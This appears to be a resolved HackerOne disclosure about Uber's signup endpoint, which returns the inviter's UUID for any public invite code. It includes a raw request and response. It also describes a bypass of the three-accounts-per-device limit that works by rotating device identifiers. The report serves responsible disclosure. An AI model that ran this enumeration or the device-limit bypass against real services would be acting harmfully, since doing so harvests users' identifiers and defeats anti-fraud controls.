Bulk UUID enumeration via invite codes
Unknown
Vulnerability Details
It is possible to enumerate UUID via invite code. During signup if we enter invite code then ```create``` request's response contains ```inviter_uuid``` . As invite codes are public so attacker can easily enumerate bulk UUID .
Here is sample request :-
```
POST /signup/clients/create HTTP/1.1
X-Uber-RedirectCount: 0
X-Uber-DCURL: https://cn-geo1.uber.com/
User-Agent: client/android/3.104.5
X-Uber-Origin: android-client
X-Uber-Device-Location-Latitude: 26.894606
X-Uber-Device-Location-Longitude: 75.7562847
Content-Type: application/json; charset=UTF-8
Host: cn-geo1.uber.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 1809
{
"deviceData": {
"androidId": "b3f675hc5e15531",
"version": "3.104.5",
"batteryStatus": "discharging",
"carrier": "",
"carrierMcc": "404",
"carrierMnc": "59",
"simSerial": "9915921251419234722",
"cpuAbi": "armeabi, armeabi-v7a",
"phoneNumber": "",
"deviceIds": {
"authId": "k361075b11131493a6061925",
"permId": "k973d2529d728186b9063522cb48d74b",
"deviceImei": "851639131157164"
},
"md5": "184ec02b309a23dedfc90f6bfe0dfab",
"ipAddress": "192.168.0.171",
"deviceModel": "HM NOTE 1LTE",
"deviceOsName": "Android",
"deviceOsVersion": "4.4.4",
"imsi": "50459415423472",
"batteryLevel": 0.81,
"deviceAltitude": 0.0,
"deviceLongitude": 75.7562847,
"deviceLatitude": 26.894606,
"locationServiceEnabled": true,
"mockGpsOn": false,
"emulator": false,
"rooted": true,
"course": 0.0,
"speed": 0.0,
"unknownSources": false,
"horizontalAccuracy": 24.0,
"wifiConnected": true
},
"device_ids": {
"device_imei": "51639131957164",
"googleAdvertisingId": "anba81e-ecde-419a-a1c4-0eb0f6768887"
},
"altitude": 0.0,
"horizontal_accuracy": 24.0,
"device_mobile_country_iso2": "in",
"password": "vijay",
"version": "3.104.5",
"course": 0.0,
"device_os": "4.4.4",
"signup_form": "android",
"first_name": "Test",
"device_model": "HM NOTE 1LTE",
"device_mobile_digits": "",
"signup_session_id": "f8eb7f0-5ab5-433b-aa97-88d434fe2224",
"longitude": 75.7562847,
"app": "client",
"promotion_code": "uber48",
"mobile_country_iso2": "IN",
"device_serial_number": "9CAE0F2D091",
"speed": 0.0,
"epoch": 1466074494001,
"device_id": "r9ee4b0668ccbccdbb454c3c7791ee47",
"email": "[email protected]",
"last_name": "Account",
"device": "android",
"token_type": "cash",
"latitude": 26.894606,
"language": "en_US",
"mobile": "97558 47368"
}
```
and response is-
```
{
"rider_referral_url": "https://www.uber.com/invite/testa207ue",
"last_name": "Account",
"driver_referral_url": "https://partners.uber.com/drive/?invite_code=testa207ue",
"national_id": null,
"creationtime": "2016-06-16T11:03:03.997628+00:00",
"give_get_amount": "₹50",
"is_super_admin": false,
"has_confirmed_mobile": false,
"give_get_description": {
"fine_print": "Every time a new Uber user signs up with your invite code, they’ll get ₹ 50 off each of their first 2 rides. \nOnce they take their first ride, you'll automatically get ₹ 50 off each of your next 2 rides. \nDiscounts apply automatically in your country and expire 3 months from their issue date. Offer not valid for uberTAXI.",
"giver_promotion": {
"headline": "Get ₹ 50 off each of your next 2 rides",
"promotion_value_string": "₹ 50 off of next 2 rides",
"details": "They get ₹ 50 off each of their first 2 rides and you will too, after their first ride.",
"award_details": {
"per_trip_max_value": "50.000",
"max_value_amount": "100.000",
"per_trip_value": "50.000",
"type": "GiveGetTripCreditPromotion",
"trips": 2,
"currency_code": "INR"
}
},
"invite_code": "testa207ue",
"receiver_promotion": {
"message_body": "I’m giving you ₹ 50 off each of your first 2 Uber rides. To accept, use code ‘testa207ue’ to sign up. Enjoy! Details: https://www.uber.com/invite/testa207ue",
"headline": "Get ₹ 50 off each of your first 2 rides",
"promotion_value_string": "₹ 50 off first 2 rides",
"message_subject": "₹ 50 off each of your first 2 Uber rides",
"award_details": {
"per_trip_max_value": "50.000",
"max_value_amount": "100.000",
"per_trip_value": "50.000",
"type": "GiveGetTripCreditPromotion",
"trips": 2,
"currency_code": "INR"
},
"details": "Get ₹ 50 off your first 2 Uber rides with invite code 'testa207ue'. Enjoy! Download the app: https://www.uber.com/invite/testa207ue"
}
},
"referral_code": "testa207ue",
"confirm_mobile_exempt": false,
"confirm_mobile": false,
"last_selected_payment_google_wallet_uuid": null,
"first_name": "Test",
"signup_promo_uuid": "6c94e187-fafe-45b3-af8b-a82fa7136e5c",
"has_to_opt_in_sms_notifications": false,
"uuid": "05faf97c-ad8f-4986-b504-4ebc63f80c29",
"mobile_local": "+91 97558 47368",
"confirm_email": false,
"signup_promo_type": "GiveGetTripCreditPromotion",
"picture_url": "https://d1w2poirtb3as9.cloudfront.net/default.jpeg",
"country_id": 77,
"language_id": 1,
"promotion_code_id": 534264309,
"last_selected_payment_profile_uuid": "073f4714-f999-4253-a3af-2895c783001e",
"role": "client",
"location": "00000",
"has_confirmed_email": false,
"is_restricted": false,
"client_promotions": [{
"display_date": "September 15, 2016",
"code": "GG_INVITEE_zshtj4kvue",
"redemption_count": 0,
"updated_at": "2016-06-16T11:03:04+00:00",
"promotion_id": null,
"deleted_at": null,
"id": 314578103,
"revoked_at": null,
"auto_applied": false,
"uuid": "d56807ec-166b-42bc-8784-234e74b90e55",
"display_location": "India",
"promotion_code_id": null,
"is_valid": true,
"short_description": null,
"display_discount": "₹ 150 OFF",
"description": "Free trip up to ₹150 from Данила",
"expires_at": "2016-09-15T11:03:04+00:00",
"applied_by_client_uuid": "05faf97c-ad8f-4986-b504-4ebc63f80c29",
"promotion_uuid": "6c94e187-fafe-45b3-af8b-a82fa7136e5c",
"promotion_code_uuid": "d48cc4d3-d02c-4e61-98d1-e109f52e5b2f",
"custom_user_activation_message": null,
"ends_at": "9999-12-31T23:59:59+00:00",
"client_uuid": "05faf97c-ad8f-4986-b504-4ebc63f80c29",
"starts_at": "2016-02-15T18:30:00+00:00",
"created_at": "2016-06-16T11:03:04+00:00"
}],
"email": "[email protected]",
"username": "[email protected]",
"picture": null,
"is_autoban_whitelisted": false,
"mobile_country_iso2": "IN",
"gratuity": "0.2",
"claimed_mobile_local": null,
"email_confirm": false,
"phone_number_full": "+919755847368",
"banned": false,
"mobile_country_id": 77,
"promotion_code_uuid": "2ca62e26-06f7-48dc-bf8a-441602eaf91d",
"tenancy": "uber/production",
"mobile_country_code": "+91",
"credit_balances": {},
"trip_credit_balance_strings": [],
"is_tester": false,
"nickname": "[email protected]",
"was_upgraded": false,
"signup_promo_id": 332867,
"mobile": "9755847368",
"has_american_mobile": false,
"has_opted_in_sms_marketing": false,
"token": "e42f75a88fa243cdecfd2cef243f0c4c",
"meta": {},
"referral_url": "https://www.uber.com/invite/testa207ue",
"is_admin": false,
"is_temporary_admin": false,
"inviter_uuid": "a5efac50-b706-47c7-997d-c992b85095ee",
"last_trip_uuid": null
}
```
Second last line of response contains ```inviter_uuid``` .
Please note that uber only allow 3 account per device if we choose payment method as cash. But we can bypass it by taking androidId,simSerial,imsi,googleAdvertisingId,signup_session_id in variable during Attack.
I tested with 45 requests and all request were successful.
Thanks
Actions
View on HackerOneReport Stats
- Report ID: 145150
- State: Closed
- Substate: resolved
- Upvotes: 11